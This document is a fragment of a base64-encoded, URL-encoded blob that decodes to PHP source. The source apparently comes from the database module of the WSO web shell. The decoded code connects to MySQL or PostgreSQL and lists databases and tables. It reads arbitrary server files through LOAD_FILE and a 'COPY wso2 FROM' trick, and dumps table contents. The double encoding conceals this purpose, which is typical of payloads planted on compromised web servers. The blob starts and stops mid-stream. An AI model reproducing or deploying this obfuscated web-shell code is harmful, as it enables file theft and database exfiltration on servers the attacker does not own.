MjAlMjBpZiUyOCUyMCUyNHRoaXMtJTNFbGluayUyMCUzRCUyMEBwZ19jb25uZWN0JTI4JTIyaG9zdCUzRCU3QiUyNGhvc3QlNUIwJTVEJTdEJTIwcG9ydCUzRCU3QiUyNGhvc3QlNUIxJTVEJTdEJTIwdXNlciUzRCUyNHVzZXIlMjBwYXNzd29yZCUzRCUyNHBhc3MlMjBkYm5hbWUlM0QlMjRkYm5hbWUlMjIlMjklMjAlMjklMjByZXR1cm4lMjB0cnVlJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjBmYWxzZSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZ1bmN0aW9uJTIwc2VsZWN0ZGIlMjglMjRkYiUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN3aXRjaCUyOCUyNHRoaXMtJTNFdHlwZSUyOSUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGNhc2UlMjAlMjdteXNxbCUyNyUzQSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTIwJTI4QG15c3FsX3NlbGVjdF9kYiUyOCUyNGRiJTI5JTI5cmV0dXJuJTIwdHJ1ZSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwZmFsc2UlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmdW5jdGlvbiUyMHF1ZXJ5JTI4JTI0c3RyJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3dpdGNoJTI4JTI0dGhpcy0lM0V0eXBlJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2FzZSUyMCUyN215c3FsJTI3JTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwJTI0dGhpcy0lM0VyZXMlMjAlM0QlMjBAbXlzcWxfcXVlcnklMjglMjRzdHIlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBicmVhayUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGNhc2UlMjAlMjdwZ3NxbCUyNyUzQSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMCUyNHRoaXMtJTNFcmVzJTIwJTNEJTIwQHBnX3F1ZXJ5JTI4JTI0dGhpcy0lM0VsaW5rJTJDJTI0c3RyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjBmYWxzZSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZ1bmN0aW9uJTIwZmV0Y2glMjglMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRyZXMlMjAlM0QlMjBmdW5jX251bV9hcmdzJTI4JTI5JTNGZnVuY19nZXRfYXJnJTI4MCUyOSUzQSUyNHRoaXMtJTNFcmVzJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3dpdGNoJTI4JTI0dGhpcy0lM0V0eXBlJTI5JTIwJTIwJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2FzZSUyMCUyN215c3FsJTI3JTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwQG15c3FsX2ZldGNoX2Fzc29jJTI4JTI0cmVzJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBjYXNlJTIwJTI3cGdzcWwlMjclM0ElMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjBAcGdfZmV0Y2hfYXNzb2MlMjglMjRyZXMlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBicmVhayUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMGZhbHNlJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZnVuY3Rpb24lMjBsaXN0RGJzJTI4JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3dpdGNoJTI4JTI0dGhpcy0lM0V0eXBlJTI5JTIwJTIwJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2FzZSUyMCUyN215c3FsJTI3JTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyMlNIT1clMjBkYXRhYmFzZXMlMjIlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBicmVhayUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGNhc2UlMjAlMjdwZ3NxbCUyNyUzQSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMCUyNHRoaXMtJTNFcmVzJTIwJTNEJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyMlNFTEVDVCUyMGRhdG5hbWUlMjBGUk9NJTIwcGdfZGF0YWJhc2UlMjBXSEVSRSUyMGRhdGlzdGVtcGxhdGUlMjElM0QlMjd0JTI3JTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjBmYWxzZSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZ1bmN0aW9uJTIwbGlzdFRhYmxlcyUyOCUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN3aXRjaCUyOCUyNHRoaXMtJTNFdHlwZSUyOSUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGNhc2UlMjAlMjdteXNxbCUyNyUzQSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMCUyNHRoaXMtJTNFcmVzJTIwJTNEJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyN1NIT1clMjBUQUJMRVMlMjclMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBicmVhayUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGNhc2UlMjAlMjdwZ3NxbCUyNyUzQSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMCUyNHRoaXMtJTNFcmVzJTIwJTNEJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyMnNlbGVjdCUyMHRhYmxlX25hbWUlMjBmcm9tJTIwaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyUyMHdoZXJlJTIwdGFibGVfc2NoZW1hJTIwJTIxJTNEJTIwJTI3aW5mb3JtYXRpb25fc2NoZW1hJTI3JTIwQU5EJTIwdGFibGVfc2NoZW1hJTIwJTIxJTNEJTIwJTI3cGdfY2F0YWxvZyUyNyUyMiUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwZmFsc2UlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmdW5jdGlvbiUyMGVycm9yJTI4JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3dpdGNoJTI4JTI0dGhpcy0lM0V0eXBlJTI5JTIwJTIwJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2FzZSUyMCUyN215c3FsJTI3JTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwQG15c3FsX2Vycm9yJTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBjYXNlJTIwJTI3cGdzcWwlMjclM0ElMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjBAcGdfbGFzdF9lcnJvciUyOCUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwZmFsc2UlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmdW5jdGlvbiUyMHNldENoYXJzZXQlMjglMjRzdHIlMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzd2l0Y2glMjglMjR0aGlzLSUzRXR5cGUlMjklMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBjYXNlJTIwJTI3bXlzcWwlMjclM0ElMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOGZ1bmN0aW9uX2V4aXN0cyUyOCUyN215c3FsX3NldF9jaGFyc2V0JTI3JTI5JTI5JTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwQG15c3FsX3NldF9jaGFyc2V0JTI4JTI0c3RyJTJDJTIwJTI0dGhpcy0lM0VsaW5rJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWxzZSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHRoaXMtJTNFcXVlcnklMjglMjdTRVQlMjBDSEFSU0VUJTIwJTI3LiUyNHN0ciUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2FzZSUyMCUyN3Bnc3FsJTI3JTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwQHBnX3NldF9jbGllbnRfZW5jb2RpbmclMjglMjR0aGlzLSUzRWxpbmslMkMlMjAlMjRzdHIlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBicmVhayUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMGZhbHNlJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZnVuY3Rpb24lMjBsb2FkRmlsZSUyOCUyNHN0ciUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN3aXRjaCUyOCUyNHRoaXMtJTNFdHlwZSUyOSUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGNhc2UlMjAlMjdteXNxbCUyNyUzQSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMCUyNHRoaXMtJTNFZmV0Y2glMjglMjR0aGlzLSUzRXF1ZXJ5JTI4JTIyU0VMRUNUJTIwTE9BRF9GSUxFJTI4JTI3JTIyLmFkZHNsYXNoZXMlMjglMjRzdHIlMjkuJTIyJTI3JTI5JTIwYXMlMjBmaWxlJTIyJTI5JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBjYXNlJTIwJTI3cGdzcWwlMjclM0ElMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR0aGlzLSUzRXF1ZXJ5JTI4JTIyQ1JFQVRFJTIwVEFCTEUlMjB3c28yJTI4ZmlsZSUyMHRleHQlMjklM0JDT1BZJTIwd3NvMiUyMEZST00lMjAlMjclMjIuYWRkc2xhc2hlcyUyOCUyNHN0ciUyOS4lMjIlMjclM0JzZWxlY3QlMjBmaWxlJTIwZnJvbSUyMHdzbzIlM0IlMjIlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRyJTNEYXJyYXklMjglMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aGlsZSUyOCUyNGklM0QlMjR0aGlzLSUzRWZldGNoJTI4JTI5JTI5JTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0ciU1QiU1RCUyMCUzRCUyMCUyNGklNUIlMjdmaWxlJTI3JTVEJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyN2Ryb3AlMjB0YWJsZSUyMHdzbzIlMjclMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjBhcnJheSUyOCUyN2ZpbGUlMjclM0QlM0VpbXBsb2RlJTI4JTIyJTVDbiUyMiUyQyUyNHIlMjklMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBicmVhayUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMGZhbHNlJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZnVuY3Rpb24lMjBkdW1wJTI4JTI0dGFibGUlMkMlMjAlMjRmcCUyMCUzRCUyMGZhbHNlJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3dpdGNoJTI4JTI0dGhpcy0lM0V0eXBlJTI5JTIwJTIwJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2FzZSUyMCUyN215c3FsJTI3JTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0cmVzJTIwJTNEJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyN1NIT1clMjBDUkVBVEUlMjBUQUJMRSUyMCU2MCUyNy4lMjR0YWJsZS4lMjclNjAlMjclMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRjcmVhdGUlMjAlM0QlMjBteXNxbF9mZXRjaF9hcnJheSUyOCUyNHJlcyUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHNxbCUyMCUzRCUyMCUyNGNyZWF0ZSU1QjElNUQuJTIyJTNCJTVDbiUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTI4JTI0ZnAlMjklMjBmd3JpdGUlMjglMjRmcCUyQyUyMCUyNHNxbCUyOSUzQiUyMGVsc2UlMjBlY2hvJTI4JTI0c3FsJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0dGhpcy0lM0VxdWVyeSUyOCUyN1NFTEVDVCUyMColMjBGUk9NJTIwJTYwJTI3LiUyNHRhYmxlLiUyNyU2MCUyNyUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGklMjAlM0QlMjAwJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0aGVhZCUyMCUzRCUyMHRydWUlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aGlsZSUyOCUyNGl0ZW0lMjAlM0QlMjAlMjR0aGlzLSUzRWZldGNoJTI4JTI5JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0c3FsJTIwJTNEJTIwJTI3JTI3JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRpJTIwJTI1JTIwMTAwMCUyMCUzRCUzRCUyMDAlMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRoZWFkJTIwJTNEJTIwdHJ1ZSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHNxbCUyMCUzRCUyMCUyMiUzQiU1Q24lNUNuJTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0Y29sdW1ucyUyMCUzRCUyMGFycmF5JTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZm9yZWFjaCUyOCUyNGl0ZW0lMjBhcyUyMCUyNGslM0QlM0UlMjR2JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjR2JTIwJTNEJTNEJTNEJTIwbnVsbCUyOSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGl0ZW0lNUIlMjRrJTVEJTIwJTNEJTIwJTIyTlVMTCUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGVsc2VpZiUyOGlzX2ludCUyOCUyNHYlMjklMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRpdGVtJTVCJTI0ayU1RCUyMCUzRCUyMCUyNHYlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlbHNlJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0aXRlbSU1QiUyNGslNUQlMjAlM0QlMjAlMjIlMjclMjIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZyUyOCUyNHYlMjkuJTIyJTI3JTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0Y29sdW1ucyU1QiU1RCUyMCUzRCUyMCUyMiU2MCUyMi4lMjRrLiUyMiU2MCUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTI4JTI0aGVhZCUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHNxbCUyMC4lM0QlMjAlMjdJTlNFUlQlMjBJTlRPJTIwJTYwJTI3LiUyNHRhYmxlLiUyNyU2MCUyMCUyOCUyNy5pbXBsb2RlJTI4JTIyJTJDJTIwJTIyJTJDJTIwJTI0Y29sdW1ucyUyOS4lMjIlMjklMjBWQUxVRVMlMjAlNUNuJTVDdCUyOCUyMi5pbXBsb2RlJTI4JTIyJTJDJTIwJTIyJTJDJTIwJTI0aXRlbSUyOS4lMjclMjklMjclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRoZWFkJTIwJTNEJTIwZmFsc2UlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMjBlbHNlJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI